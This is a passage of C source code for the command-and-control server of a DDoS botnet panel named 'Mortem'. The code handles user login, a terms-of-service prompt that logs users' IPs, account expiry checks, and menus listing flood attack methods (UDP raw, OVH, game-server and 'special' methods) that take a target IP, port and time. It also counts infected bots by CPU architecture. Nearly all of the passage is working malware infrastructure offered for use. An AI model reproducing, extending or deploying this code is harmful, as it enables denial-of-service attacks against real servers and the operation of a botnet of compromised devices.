MSG_NOSIGNAL) == -1) goto end; 1109 | if(send(datafd, tos5, strlen(tos5), MSG_NOSIGNAL) == -1) goto end; 1110 | if(send(datafd, tos6, strlen(tos6), MSG_NOSIGNAL) == -1) goto end; 1111 | if(send(datafd, tos7, strlen(tos7), MSG_NOSIGNAL) == -1) goto end; 1112 | if(send(datafd, tos8, strlen(tos8), MSG_NOSIGNAL) == -1) goto end; 1113 | if(send(datafd, tos9, strlen(tos9), MSG_NOSIGNAL) == -1) goto end; 1114 | if(send(datafd, tos10, strlen(tos10), MSG_NOSIGNAL) == -1) goto end; 1115 | if(send(datafd, tos11, strlen(tos11), MSG_NOSIGNAL) == -1) goto end; 1116 | if(send(datafd, tos12, strlen(tos12), MSG_NOSIGNAL) == -1) goto end; 1117 | if(send(datafd, tos13, strlen(tos13), MSG_NOSIGNAL) == -1) goto end; 1118 | 1119 | sprintf(usethis, "\r\n \e[38;5;45mDo You Agree To TOS \033[92m[\e[97mYes\e[38;5;45m or \e[97mNo\033[92m]:\033[97m"); 1120 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 1121 | memset(buf, 0,sizeof(buf)); 1122 | if(fdgets(buf, sizeof(buf), datafd) > 1); 1123 | trim(buf); 1124 | 1125 | if(strcasestr(buf, "Yes") || strcasestr(buf, "y")) 1126 | { 1127 | int check = 0; 1128 | char checkingtos[800]; 1129 | char sendtos[8000]; 1130 | char checkinglog[800]; 1131 | char log1[800]; 1132 | sprintf(sendtos, "echo '%s Accepted TOS!' >> logs/AcceptedTos.txt", nickstring); 1133 | sprintf(checkingtos, "%s Accepted TOS!", nickstring); 1134 | sprintf(log1, "echo '%s IP: %s' >> logs/LoggedUsers.txt", nickstring, ipinfo); 1135 | sprintf(checkinglog, "%s IP: %s", nickstring, ipinfo); 1136 | 1137 | char *line3 = NULL; 1138 | size_t n3 = 0; 1139 | FILE *f3 = fopen("logs/AcceptedTos.txt", "r"); 1140 | while (getline(&line3, &n3, f3) != -1) 1141 | { 1142 | if (strstr(line2, checkingtos) != NULL){ 1143 | check = 1; 1144 | //nothing 1145 | } 1146 | } 1147 | fclose(f3); 1148 | free(line3); 1149 | if(check == 0) 1150 | { 1151 | system(sendtos); 1152 | system(log1); 1153 | } 1154 | usleep(250000); 1155 | loggedin = 0; 1156 | memset(nickstring, 0, sizeof(nickstring)); 1157 | goto Banner; 1158 | } else 1159 | { 1160 | sprintf(usethis, "\e[38;5;190mYou Didnt Accept TOS Therefore you can not use our services\r\n"); 1161 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 1162 | sleep(5); 1163 | goto end; 1164 | } 1165 | 1166 | } 1167 | } 1168 | 1169 | failed: 1170 | if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end; 1171 | sprintf(usethis, "\e[38;5;190mYou Have Failed Your Login Please Try Again...\r\n"); 1172 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 1173 | sleep(3); 1174 | goto end; 1175 | 1176 | Banner: 1177 | 1178 | strcpy(accounts[datafd].expirydate, accounts[find_line].expirydate); 1179 | if(check_expiry(datafd) == 1) 1180 | { 1181 | sprintf(clearscreen, "\033[2J\033[1;1H"); 1182 | if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end; 1183 | send(datafd, "\e[38;5;190mAccount Has Expired, Message Admin For Renewal!\r\n", strlen("\e[38;5;190mAccount Has Expired, Message Admin For Renewal!\r\n"), MSG_NOSIGNAL); // now 1184 | printf("[Mortem]:%s's Account Has Expired\r\n", accounts[find_line].username); 1185 | sleep(5); 1186 | goto end; 1187 | } 1188 | gay[datafd].login = 0; 1189 | pthread_t timeloggedin; 1190 | pthread_create(&title, NULL, &TitleWriter, sock); 1191 | char banner0 [2400]; 1192 | char banner1 [2400]; 1193 | char banner2 [2400]; 1194 | char banner3 [2400]; 1195 | char banner4 [2400]; 1196 | char banner5 [2400]; 1197 | char banner6 [2400]; 1198 | char banner7 [2400]; 1199 | char banner8 [2400]; 1200 | char banner9 [2400]; 1201 | char banner10 [2400]; 1202 | char banner11 [2400]; 1203 | char banner12 [2400]; 1204 | char banner13 [2400]; 1205 | 1206 | char loading1 [2400]; 1207 | char loading2 [2400]; 1208 | char loading3 [2400]; 1209 | char loading4 [2400]; 1210 | char loading5 [2400]; 1211 | char loading6 [2400]; 1212 | char loading7 [2400]; 1213 | char loading8 [2400]; 1214 | char loading9 [2400]; 1215 | char loading10 [2400]; 1216 | char loading11 [2400]; 1217 | char loading12 [2400]; 1218 | char *userlog [1200]; 1219 | 1220 | char hostbuffer[256]; 1221 | int hostname; 1222 | hostname = gethostname(hostbuffer, sizeof(hostbuffer)); 1223 | checkHostName(hostname); 1224 | if(!strcmp(accounts[find_line].admin, "admin")) 1225 | { 1226 | managements[datafd].adminstatus = 1; 1227 | } else { 1228 | pthread_create(&timeloggedin, NULL, &timeconnected, sock); 1229 | } 1230 | 1231 | char clearscreen1 [2048]; 1232 | memset(clearscreen1, 0, 2048); 1233 | sprintf(clearscreen1, "\033[2J\033[1;1H"); 1234 | sprintf(managements[datafd].my_ip, "%s", ipinfo); 1235 | sprintf(managements[datafd].id, "%s", accounts[find_line].username); 1236 | sprintf(managements[datafd].planname, "%s", accounts[find_line].admin); 1237 | managements[datafd].mycooldown = accounts[find_line].cooldown; 1238 | managements[datafd].mymaxtime = accounts[find_line].maxtime; 1239 | 1240 | int loginshit; 1241 | for(loginshit=0;loginshit 1){ 1287 | if(send(datafd, banner0, strlen(banner0), MSG_NOSIGNAL) == -1) goto end; 1288 | } 1289 | 1290 | if(send(datafd, clearscreen1, strlen(clearscreen1), MSG_NOSIGNAL) == -1) goto end; 1291 | if(send(datafd, loading1, strlen(loading1), MSG_NOSIGNAL) == -1) goto end; 1292 | usleep(200000); 1293 | if(send(datafd, clearscreen1, strlen(clearscreen1), MSG_NOSIGNAL) == -1) goto end; 1294 | if(send(datafd, loading2, strlen(loading2), MSG_NOSIGNAL) == -1) goto end; 1295 | usleep(200000); 1296 | if(send(datafd, clearscreen1, strlen(clearscreen1), MSG_NOSIGNAL) == -1) goto end; 1297 | if(send(datafd, loading3, strlen(loading3), MSG_NOSIGNAL) == -1) goto end; 1298 | usleep(200000); 1299 | if(send(datafd, clearscreen1, strlen(clearscreen1), MSG_NOSIGNAL) == -1) goto end; 1300 | if(send(datafd, loading4, strlen(loading4), MSG_NOSIGNAL) == -1) goto end; 1301 | usleep(200000); 1302 | if(send(datafd, clearscreen1, strlen(clearscreen1), MSG_NOSIGNAL) == -1) goto end; 1303 | if(send(datafd, loading5, strlen(loading5), MSG_NOSIGNAL) == -1) goto end; 1304 | usleep(200000); 1305 | if(send(datafd, clearscreen1, strlen(clearscreen1), MSG_NOSIGNAL) == -1) goto end; 1306 | if(send(datafd, loading6, strlen(loading6), MSG_NOSIGNAL) == -1) goto end; 1307 | usleep(200000); 1308 | if(send(datafd, clearscreen1, strlen(clearscreen1), MSG_NOSIGNAL) == -1) goto end; 1309 | if(send(datafd, loading7, strlen(loading7), MSG_NOSIGNAL) == -1) goto end; 1310 | usleep(200000); 1311 | if(send(datafd, clearscreen1, strlen(clearscreen1), MSG_NOSIGNAL) == -1) goto end; 1312 | if(send(datafd, loading8, strlen(loading8), MSG_NOSIGNAL) == -1) goto end; 1313 | usleep(200000); 1314 | if(send(datafd, clearscreen1, strlen(clearscreen1), MSG_NOSIGNAL) == -1) goto end; 1315 | if(send(datafd, loading9, strlen(loading9), MSG_NOSIGNAL) == -1) goto end; 1316 | usleep(200000); 1317 | if(send(datafd, clearscreen1, strlen(clearscreen1), MSG_NOSIGNAL) == -1) goto end; 1318 | if(send(datafd, loading10, strlen(loading10), MSG_NOSIGNAL) == -1) goto end; 1319 | usleep(200000); 1320 | if(send(datafd, clearscreen1, strlen(clearscreen1), MSG_NOSIGNAL) == -1) goto end; 1321 | if(send(datafd, loading11, strlen(loading11), MSG_NOSIGNAL) == -1) goto end; 1322 | usleep(200000); 1323 | if(motdaction == 1) 1324 | { 1325 | if(send(datafd, banner0, strlen(banner0), MSG_NOSIGNAL) == -1) goto end; 1326 | } 1327 | if(send(datafd, clearscreen1, strlen(clearscreen1), MSG_NOSIGNAL) == -1) goto end; 1328 | if(send(datafd, loading12, strlen(loading12), MSG_NOSIGNAL) == -1) goto end; 1329 | 1330 | 1331 | 1332 | while(1) { 1333 | char input [5000]; 1334 | sprintf(input, "\r\n\e[38;5;2m%s@\e[38;5;54mMortem~#\e[38;5;2m", managements[datafd].id); 1335 | if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end; 1336 | break; 1337 | } 1338 | pthread_create(&title, NULL, &TitleWriter, sock); 1339 | managements[datafd].connected = 1; 1340 | 1341 | while(fdgets(buf, sizeof buf, datafd) > 0) { 1342 | 1343 | if(strcasestr(buf, "help") || strcasestr(buf, "info")) 1344 | { 1345 | pthread_create(&title, NULL, &TitleWriter, sock); 1346 | send(datafd, "\033[1A\033[2J\033[1;1H", strlen("\033[1A\033[2J\033[1;1H"), MSG_NOSIGNAL); 1347 | if(send(datafd, banner1, strlen(banner1), MSG_NOSIGNAL) == -1) goto end; 1348 | if(send(datafd, banner2, strlen(banner2), MSG_NOSIGNAL) == -1) goto end; 1349 | if(send(datafd, banner3, strlen(banner3), MSG_NOSIGNAL) == -1) goto end; 1350 | if(send(datafd, banner4, strlen(banner4), MSG_NOSIGNAL) == -1) goto end; 1351 | if(send(datafd, banner5, strlen(banner5), MSG_NOSIGNAL) == -1) goto end; 1352 | if(send(datafd, banner6, strlen(banner6), MSG_NOSIGNAL) == -1) goto end; 1353 | if(send(datafd, banner7, strlen(banner7), MSG_NOSIGNAL) == -1) goto end; 1354 | if(send(datafd, banner8, strlen(banner8), MSG_NOSIGNAL) == -1) goto end; 1355 | if(send(datafd, banner9, strlen(banner9), MSG_NOSIGNAL) == -1) goto end; 1356 | if(send(datafd, banner10, strlen(banner10), MSG_NOSIGNAL) == -1) goto end; 1357 | if(send(datafd, banner11, strlen(banner11), MSG_NOSIGNAL) == -1) goto end; 1358 | if(send(datafd, banner12, strlen(banner12), MSG_NOSIGNAL) == -1) goto end; 1359 | if(send(datafd, banner13, strlen(banner13), MSG_NOSIGNAL) == -1) goto end; 1360 | 1361 | char help1 [800]; 1362 | char help2 [800]; 1363 | char help3 [800]; 1364 | char help4 [800]; 1365 | char help5 [800]; 1366 | char help6 [800]; 1367 | char help7 [800]; 1368 | char help8 [800]; 1369 | char help9 [800]; 1370 | char help10 [800]; 1371 | char help11 [800]; 1372 | char help12 [800]; 1373 | char help13 [800]; 1374 | sprintf(help1, " \e[38;5;54m ╔═\e[38;5;2m╔══║\e[38;5;54m══════════════════════════════════\e[38;5;2m║══╗\e[38;5;54m═╗\r\n"); 1375 | sprintf(help2, " \e[38;5;54m ║\e[38;5;2m═╝\e[38;5;54m════════════════════════════════════════\e[38;5;2m╚═\e[38;5;54m║\r\n"); 1376 | sprintf(help3, " \e[38;5;54m ║ \e[97mMethods \e[38;5;124m---\e[38;5;14mShows Methods \e[38;5;54m║\r\n"); 1377 | sprintf(help4, " \e[38;5;54m ║ \e[97mSpecial \e[38;5;124m---\e[38;5;14mShows Special Methods \e[38;5;54m║\r\n"); 1378 | sprintf(help5, " \e[38;5;54m ║ \e[97mBots \e[38;5;124m---\e[38;5;14mShows Bot Count \e[38;5;54m║\r\n"); 1379 | sprintf(help6, " \e[38;5;54m ║ \e[97mExtra \e[38;5;124m---\e[38;5;14mShows Extra Commands \e[38;5;54m║\r\n"); 1380 | sprintf(help7, " \e[38;5;54m ║ \e[97mAdmin \e[38;5;124m---\e[38;5;14mAdmin commands \e[38;5;54m║\r\n"); 1381 | sprintf(help8, " \e[38;5;54m ║ \e[97mPlans \e[38;5;124m---\e[38;5;14mShows Plans \e[38;5;54m║\r\n"); 1382 | sprintf(help9, " \e[38;5;54m ║ \e[97mAccount \e[38;5;124m---\e[38;5;14mShows Your Account Info \e[38;5;54m║\r\n"); 1383 | sprintf(help10, " \e[38;5;54m ║ \e[97mCls \e[38;5;124m---\e[38;5;14mClears Screen \e[38;5;54m║\r\n"); 1384 | sprintf(help11, " \e[38;5;54m ║\e[38;5;2m═╗\e[38;5;54m════════════════════════════════════════\e[38;5;2m╔═\e[38;5;54m║\r\n"); 1385 | sprintf(help12, " \e[38;5;54m ╚═\e[38;5;2m╚══║\e[38;5;54m══════════════════════════════════\e[38;5;2m║══╝\e[38;5;54m═╝\r\n"); 1386 | 1387 | if(send(datafd, help1, strlen(help1), MSG_NOSIGNAL) == -1) goto end; 1388 | if(send(datafd, help2, strlen(help2), MSG_NOSIGNAL) == -1) goto end; 1389 | if(send(datafd, help3, strlen(help3), MSG_NOSIGNAL) == -1) goto end; 1390 | if(send(datafd, help4, strlen(help4), MSG_NOSIGNAL) == -1) goto end; 1391 | if(send(datafd, help5, strlen(help5), MSG_NOSIGNAL) == -1) goto end; 1392 | if(send(datafd, help6, strlen(help6), MSG_NOSIGNAL) == -1) goto end; 1393 | if(send(datafd, help7, strlen(help7), MSG_NOSIGNAL) == -1) goto end; 1394 | if(send(datafd, help8, strlen(help8), MSG_NOSIGNAL) == -1) goto end; 1395 | if(send(datafd, help9, strlen(help9), MSG_NOSIGNAL) == -1) goto end; 1396 | if(send(datafd, help10, strlen(help10), MSG_NOSIGNAL) == -1) goto end; 1397 | if(send(datafd, help11, strlen(help11), MSG_NOSIGNAL) == -1) goto end; 1398 | if(send(datafd, help12, strlen(help12), MSG_NOSIGNAL) == -1) goto end; 1399 | pthread_create(&title, NULL, &TitleWriter, sock); 1400 | char input [5000]; 1401 | sprintf(input, "\r\n\e[38;5;2m%s@\e[38;5;54mMortem~#\e[38;5;2m", accounts[find_line].username); 1402 | if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto Banner; 1403 | continue; 1404 | } 1405 | 1406 | if(strcasestr(buf, "testing")) 1407 | { 1408 | int i; 1409 | for(i=0;i < attacksrunning;i++){ 1410 | sprintf(usethis, "%s: %s IP: %s Port: %s Time: %d Time Left: %s", Sending[i].username, Sending[i].method, Sending[i].ip, Sending[i].attacktime, Sending[i].attacktimeleft); 1411 | if(send(datafd, usethis, strlen(usethis), MSG_NOSIGNAL) == -1) goto end; 1412 | } 1413 | } 1414 | 1415 | if(strcasestr(buf, "method")) 1416 | { 1417 | pthread_create(&title, NULL, &TitleWriter, sock); 1418 | send(datafd, "\033[1A\033[2J\033[1;1H", strlen("\033[1A\033[2J\033[1;1H"), MSG_NOSIGNAL); 1419 | if(send(datafd, banner1, strlen(banner1), MSG_NOSIGNAL) == -1) goto end; 1420 | if(send(datafd, banner2, strlen(banner2), MSG_NOSIGNAL) == -1) goto end; 1421 | if(send(datafd, banner3, strlen(banner3), MSG_NOSIGNAL) == -1) goto end; 1422 | if(send(datafd, banner4, strlen(banner4), MSG_NOSIGNAL) == -1) goto end; 1423 | if(send(datafd, banner5, strlen(banner5), MSG_NOSIGNAL) == -1) goto end; 1424 | if(send(datafd, banner6, strlen(banner6), MSG_NOSIGNAL) == -1) goto end; 1425 | if(send(datafd, banner7, strlen(banner7), MSG_NOSIGNAL) == -1) goto end; 1426 | if(send(datafd, banner8, strlen(banner8), MSG_NOSIGNAL) == -1) goto end; 1427 | if(send(datafd, banner9, strlen(banner9), MSG_NOSIGNAL) == -1) goto end; 1428 | if(send(datafd, banner10, strlen(banner10), MSG_NOSIGNAL) == -1) goto end; 1429 | if(send(datafd, banner11, strlen(banner11), MSG_NOSIGNAL) == -1) goto end; 1430 | if(send(datafd, banner12, strlen(banner12), MSG_NOSIGNAL) == -1) goto end; 1431 | if(send(datafd, banner13, strlen(banner13), MSG_NOSIGNAL) == -1) goto end; 1432 | 1433 | char attack0 [800]; 1434 | char attack1 [800]; 1435 | char attack2 [800]; 1436 | char attack3 [800]; 1437 | char attack4 [800]; 1438 | char attack5 [800]; 1439 | char attack6 [800]; 1440 | char attack7 [800]; 1441 | char attack8 [800]; 1442 | char attack9 [800]; 1443 | char attack10 [800]; 1444 | char attack11 [800]; 1445 | char disabled1[800]; 1446 | char disabled2[800]; 1447 | char disabled3[800]; 1448 | 1449 | sprintf(attack0, " \e[38;5;54m╔═\e[38;5;2m╔══║\e[38;5;54m══════════════════════════════════════════\e[38;5;2m║══╗\e[38;5;54m═╗\r\n"); 1450 | sprintf(attack1, " \e[38;5;54m║\e[38;5;2m═╝\e[38;5;54m════════════════════════════════════════════════\e[38;5;2m╚═\e[38;5;54m║\r\n"); 1451 | sprintf(attack2, " \e[38;5;54m║ \e[38;5;54m║\r\n"); 1452 | sprintf(attack3, " \e[38;5;54m║ \e[97m!* STD IP PORT TIME \e[38;5;124m---\e[38;5;14mCustom STDHEX \e[38;5;54m║\r\n"); 1453 | sprintf(attack4, " \e[38;5;54m║ \e[97m!* RANDHEX IP PORT TIME \e[38;5;124m---\e[38;5;14mRandom HEX String \e[38;5;54m║\r\n"); 1454 | sprintf(attack5, " \e[38;5;54m║ \e[97m!* OVH IP PORT TIME 1024 \e[38;5;124m---\e[38;5;14mL7 HEX Flood \e[38;5;54m║\r\n"); 1455 | sprintf(attack6, " \e[38;5;54m║ \e[97m!* UDPRAW IP PORT TIME \e[38;5;124m---\e[38;5;14mRaw UDPHEX Flood \e[38;5;54m║\r\n"); 1456 | sprintf(attack7, " \e[38;5;54m║ \e[97m!* GAME IP PORT TIME \e[38;5;124m---\e[38;5;14mVSEHEX Flood \e[38;5;54m║\r\n"); 1457 | sprintf(attack8, " \e[38;5;54m║ \e[97m!* XTD IP PORT TIME \e[38;5;124m---\e[38;5;14mCustom STDHEX Flood \e[38;5;54m║\r\n"); 1458 | sprintf(attack9, " \e[38;5;54m║ \e[38;5;54m║\r\n"); 1459 | sprintf(attack10, " \e[38;5;54m║\e[38;5;2m═╗\e[38;5;54m════════════════════════════════════════════════╔═\e[38;5;54m║\r\n"); 1460 | sprintf(attack11, " \e[38;5;54m╚═\e[38;5;2m╚══║\e[38;5;54m══════════════════════════════════════════\e[38;5;2m║══╝\e[38;5;54m═╝\r\n"); 1461 | sprintf(disabled1, " \e[38;5;54m╔══════════════════════════════════════════════════╗ \r\n"); 1462 | sprintf(disabled2, " \e[38;5;54m║ \e[38;5;2mAttacks Are Currently Disabled Please Try Later. \e[38;5;54m║ \r\n"); 1463 | sprintf(disabled3, " \e[38;5;54m╚══════════════════════════════════════════════════╝ \r\n"); 1464 | 1465 | if(AttackStatus == 0) 1466 | { 1467 | if(send(datafd, attack0, strlen(attack0), MSG_NOSIGNAL) == -1) goto end; 1468 | if(send(datafd, attack1, strlen(attack1), MSG_NOSIGNAL) == -1) goto end; 1469 | if(send(datafd, attack2, strlen(attack2), MSG_NOSIGNAL) == -1) goto end; 1470 | if(send(datafd, attack3, strlen(attack3), MSG_NOSIGNAL) == -1) goto end; 1471 | if(send(datafd, attack4, strlen(attack4), MSG_NOSIGNAL) == -1) goto end; 1472 | if(send(datafd, attack5, strlen(attack5), MSG_NOSIGNAL) == -1) goto end; 1473 | if(send(datafd, attack6, strlen(attack6), MSG_NOSIGNAL) == -1) goto end; 1474 | if(send(datafd, attack7, strlen(attack7), MSG_NOSIGNAL) == -1) goto end; 1475 | if(send(datafd, attack8, strlen(attack8), MSG_NOSIGNAL) == -1) goto end; 1476 | if(send(datafd, attack9, strlen(attack9), MSG_NOSIGNAL) == -1) goto end; 1477 | if(send(datafd, attack10, strlen(attack10), MSG_NOSIGNAL) == -1) goto end; 1478 | if(send(datafd, attack11, strlen(attack11), MSG_NOSIGNAL) == -1) goto end; 1479 | } else { 1480 | if(send(datafd, disabled1, strlen(disabled1), MSG_NOSIGNAL) == -1) goto end; 1481 | if(send(datafd, disabled2, strlen(disabled2), MSG_NOSIGNAL) == -1) goto end; 1482 | if(send(datafd, disabled3, strlen(disabled3), MSG_NOSIGNAL) == -1) goto end; 1483 | } 1484 | 1485 | 1486 | pthread_create(&title, NULL, &TitleWriter, sock); 1487 | } 1488 | if(strcasestr(buf, "special")) 1489 | { 1490 | pthread_create(&title, NULL, &TitleWriter, sock); 1491 | send(datafd, "\033[1A\033[2J\033[1;1H", strlen("\033[1A\033[2J\033[1;1H"), MSG_NOSIGNAL); 1492 | if(send(datafd, banner1, strlen(banner1), MSG_NOSIGNAL) == -1) goto end; 1493 | if(send(datafd, banner2, strlen(banner2), MSG_NOSIGNAL) == -1) goto end; 1494 | if(send(datafd, banner3, strlen(banner3), MSG_NOSIGNAL) == -1) goto end; 1495 | if(send(datafd, banner4, strlen(banner4), MSG_NOSIGNAL) == -1) goto end; 1496 | if(send(datafd, banner5, strlen(banner5), MSG_NOSIGNAL) == -1) goto end; 1497 | if(send(datafd, banner6, strlen(banner6), MSG_NOSIGNAL) == -1) goto end; 1498 | if(send(datafd, banner7, strlen(banner7), MSG_NOSIGNAL) == -1) goto end; 1499 | if(send(datafd, banner8, strlen(banner8), MSG_NOSIGNAL) == -1) goto end; 1500 | if(send(datafd, banner9, strlen(banner9), MSG_NOSIGNAL) == -1) goto end; 1501 | if(send(datafd, banner10, strlen(banner10), MSG_NOSIGNAL) == -1) goto end; 1502 | if(send(datafd, banner11, strlen(banner11), MSG_NOSIGNAL) == -1) goto end; 1503 | if(send(datafd, banner12, strlen(banner12), MSG_NOSIGNAL) == -1) goto end; 1504 | if(send(datafd, banner13, strlen(banner13), MSG_NOSIGNAL) == -1) goto end; 1505 | 1506 | char sp1 [800]; 1507 | char sp2 [800]; 1508 | char sp3 [800]; 1509 | char sp4 [800]; 1510 | char sp5 [800]; 1511 | char sp6 [800]; 1512 | char sp7 [800]; 1513 | char sp8 [800]; 1514 | char sp9 [800]; 1515 | char sp10 [800]; 1516 | char sp11 [800]; 1517 | char sp12 [800]; 1518 | char sp13 [800]; 1519 | char sp14 [800]; 1520 | char sp15 [800]; 1521 | char sp16 [800]; 1522 | char sp17 [800]; 1523 | 1524 | 1525 | sprintf(sp1, " \e[38;5;54m╔════════════════════════════════════════════════╗\r\n"); 1526 | sprintf(sp2, " \e[38;5;54m║ \e[97mSPECIAL METHODS: \e[38;5;54m║\r\n"); 1527 | sprintf(sp3, " \e[38;5;54m╠\e[38;5;2m════════════════════════════════════════════════\e[38;5;54m╣ ╔═════════════════╗\r\n"); 1528 | sprintf(sp4, " \e[38;5;54m║ \e[38;5;14mWRA \e[38;5;14mOD-DOWN \e[38;5;14mNFO-MOB \e[38;5;54m║ \e[38;5;54m║ \e[38;5;124mWARNING! \e[38;5;54m║\r\n"); 1529 | sprintf(sp5, " \e[38;5;54m║ \e[38;5;14mDNS \e[38;5;14mVPN-DOWN \e[38;5;14mSY-KILLALL \e[38;5;54m║ \e[38;5;54m╠\e[38;5;2m═════════════════\e[38;5;54m╣\r\n"); 1530 | sprintf(sp6, " \e[38;5;54m║ \e[38;5;14mSOS \e[38;5;14mTCP-DOWN \e[38;5;14mSY-KILLALLV2 \e[38;5;54m║ \e[38;5;54m║ \e[97mMAX ATTACK TIME \e[38;5;54m║\r\n"); 1531 | sprintf(sp7, " \e[38;5;54m║ \e[38;5;14mODIN \e[38;5;14mNFO-DOWN \e[38;5;14mSY-KILLALLV3 \e[38;5;54m║ \e[38;5;54m║ \e[97mIS 60 SECONDS \e[38;5;54m║\r\n"); 1532 | sprintf(sp8, " \e[38;5;54m║ \e[38;5;14mREDSYN \e[38;5;14mOVH-DOWN \e[38;5;14mSY-KILLALLV4 \e[38;5;54m╠\e[38;5;2m══════\e[38;5;54m╣ \e[97mWITH THESE \e[38;5;54m║\r\n"); 1533 | sprintf(sp9, " \e[38;5;54m║ \e[38;5;14mDEDIPATH \e[38;5;14mOVH-CRUSH \e[38;5;54m║ \e[38;5;54m║ \e[97mMETHODS \e[38;5;54m║\r\n"); 1534 | sprintf(sp10, " \e[38;5;54m║ \e[38;5;14mSERVER \e[38;5;14mOVH-GAME \e[38;5;54m║ \e[38;5;54m╚═════════════════╝\r\n"); 1535 | sprintf(sp11, " \e[38;5;54m║ \e[38;5;14mSERVERV2 \e[38;5;14mGAME-NFO \e[38;5;54m║\r\n"); 1536 | sprintf(sp12, " \e[38;5;54m║ \e[38;5;14mARK-DESTROY \e[38;5;14mFIVEM-NFO \e[38;5;54m║\r\n"); 1537 | sprintf(sp13, " \e[38;5;54m╠\e[38;5;2m════════════════════════════════════════════════\e[38;5;54m╣\r\n"); 1538 | sprintf(sp14, " \e[38;5;54m║ \e[97m ̿̿ ̿̿ ̿̿ ̿'̿'\̵͇̿̿\з= ( ▀ ͜͞ʖ▀) =ε/̵͇̿̿/’̿’̿ ̿ ̿̿ ̿̿ ̿̿ \e[38;5;54m║\r\n"); 1539 | sprintf(sp15, " \e[38;5;54m╠\e[38;5;2m════════════════════════════════════════════════\e[38;5;54m╣\r\n"); 1540 | sprintf(sp16, " \e[38;5;54m║ \e[38;5;14mSEND \e[97m(\e[38;5;14mMETHOD\e[97m) (\e[38;5;14mIP\e[97m) (\e[38;5;14mPORT\e[97m) (\e[38;5;14mTIME\e[97m) \e[38;5;54m║\r\n"); 1541 | sprintf(sp17, " \e[38;5;54m╚════════════════════════════════════════════════╝\r\n"); 1542 | 1543 | 1544 | if(send(datafd, sp1, strlen(sp1), MSG_NOSIGNAL) == -1) goto end; 1545 | if(send(datafd, sp2, strlen(sp2), MSG_NOSIGNAL) == -1) goto end; 1546 | if(send(datafd, sp3, strlen(sp3), MSG_NOSIGNAL) == -1) goto end; 1547 | if(send(datafd, sp4, strlen(sp4), MSG_NOSIGNAL) == -1) goto end; 1548 | if(send(datafd, sp5, strlen(sp5), MSG_NOSIGNAL) == -1) goto end; 1549 | if(send(datafd, sp6, strlen(sp6), MSG_NOSIGNAL) == -1) goto end; 1550 | if(send(datafd, sp7, strlen(sp7), MSG_NOSIGNAL) == -1) goto end; 1551 | if(send(datafd, sp8, strlen(sp8), MSG_NOSIGNAL) == -1) goto end; 1552 | if(send(datafd, sp9, strlen(sp9), MSG_NOSIGNAL) == -1) goto end; 1553 | if(send(datafd, sp10, strlen(sp10), MSG_NOSIGNAL) == -1) goto end; 1554 | if(send(datafd, sp11, strlen(sp11), MSG_NOSIGNAL) == -1) goto end; 1555 | if(send(datafd, sp12, strlen(sp12), MSG_NOSIGNAL) == -1) goto end; 1556 | if(send(datafd, sp13, strlen(sp13), MSG_NOSIGNAL) == -1) goto end; 1557 | if(send(datafd, sp14, strlen(sp14), MSG_NOSIGNAL) == -1) goto end; 1558 | if(send(datafd, sp15, strlen(sp15), MSG_NOSIGNAL) == -1) goto end; 1559 | if(send(datafd, sp16, strlen(sp16), MSG_NOSIGNAL) == -1) goto end; 1560 | if(send(datafd, sp17, strlen(sp17), MSG_NOSIGNAL) == -1) goto end; 1561 | 1562 | 1563 | 1564 | } 1565 | pthread_create(&title, NULL, &TitleWriter, sock); 1566 | 1567 | if (strcasestr(buf, "bots")) 1568 | { 1569 | char synpur1[128]; 1570 | char synpur2[128]; 1571 | char synpur3[128]; 1572 | char synpur4[128]; 1573 | char synpur5[128]; 1574 | char synpur6[128]; 1575 | char synpur7[128]; 1576 | char synpur8[128]; 1577 | 1578 | send(datafd, "\033[1A\033[2J\033[1;1H", strlen("\033[1A\033[2J\033[1;1H"), MSG_NOSIGNAL); 1579 | if(send(datafd, banner1, strlen(banner1), MSG_NOSIGNAL) == -1) goto end; 1580 | if(send(datafd, banner2, strlen(banner2), MSG_NOSIGNAL) == -1) goto end; 1581 | if(send(datafd, banner3, strlen(banner3), MSG_NOSIGNAL) == -1) goto end; 1582 | if(send(datafd, banner4, strlen(banner4), MSG_NOSIGNAL) == -1) goto end; 1583 | if(send(datafd, banner5, strlen(banner5), MSG_NOSIGNAL) == -1) goto end; 1584 | if(send(datafd, banner6, strlen(banner6), MSG_NOSIGNAL) == -1) goto end; 1585 | if(send(datafd, banner7, strlen(banner7), MSG_NOSIGNAL) == -1) goto end; 1586 | if(send(datafd, banner8, strlen(banner8), MSG_NOSIGNAL) == -1) goto end; 1587 | if(send(datafd, banner9, strlen(banner9), MSG_NOSIGNAL) == -1) goto end; 1588 | if(send(datafd, banner10, strlen(banner10), MSG_NOSIGNAL) == -1) goto end; 1589 | if(send(datafd, banner11, strlen(banner11), MSG_NOSIGNAL) == -1) goto end; 1590 | if(send(datafd, banner12, strlen(banner12), MSG_NOSIGNAL) == -1) goto end; 1591 | if(send(datafd, banner13, strlen(banner13), MSG_NOSIGNAL) == -1) goto end; 1592 | sprintf(synpur8, "\e[35;8;126mCount: [\e[92m%d\e[35;8;126m] \r\n", botsconnect()); 1593 | if(send(datafd, synpur8, strlen(synpur8), MSG_NOSIGNAL) == -1) goto end; 1594 | 1595 | if(x86Connected() != 0)// should i add u in this call ye 1596 | { 1597 | sprintf(synpur1,"\e[35;8;126mx86: [\e[92m%d\e[35;8;126m] \r\n", x86Connected()); 1598 | if(send(datafd, synpur1, strlen(synpur1), MSG_NOSIGNAL) == -1) goto end; 1599 | } 1600 | if(armConnected() != 0) 1601 | { 1602 | sprintf(synpur2,"\e[35;8;126mArm: [\e[92m%d\e[35;8;126m] \r\n", armConnected()); 1603 | if(send(datafd, synpur2, strlen(synpur2), MSG_NOSIGNAL) == -1) goto end; 1604 | } 1605 | if(mipsConnected() != 0) 1606 | { 1607 | sprintf(synpur3,"\e[35;8;126mMips: [\e[92m%d\e[35;8;126m] \r\n", mipsConnected()); 1608 | if(send(datafd, synpur3, strlen(synpur3), MSG_NOSIGNAL) == -1) goto end; 1609 | } 1610 | if(mpslConnected() != 0) 1611 | { 1612 | sprintf(synpur4,"\e[35;8;126mMpsl: [\e[92m%d\e[35;8;126m] \r\n", mpslConnected()); 1613 | if(send(datafd, synpur4, strlen(synpur4), 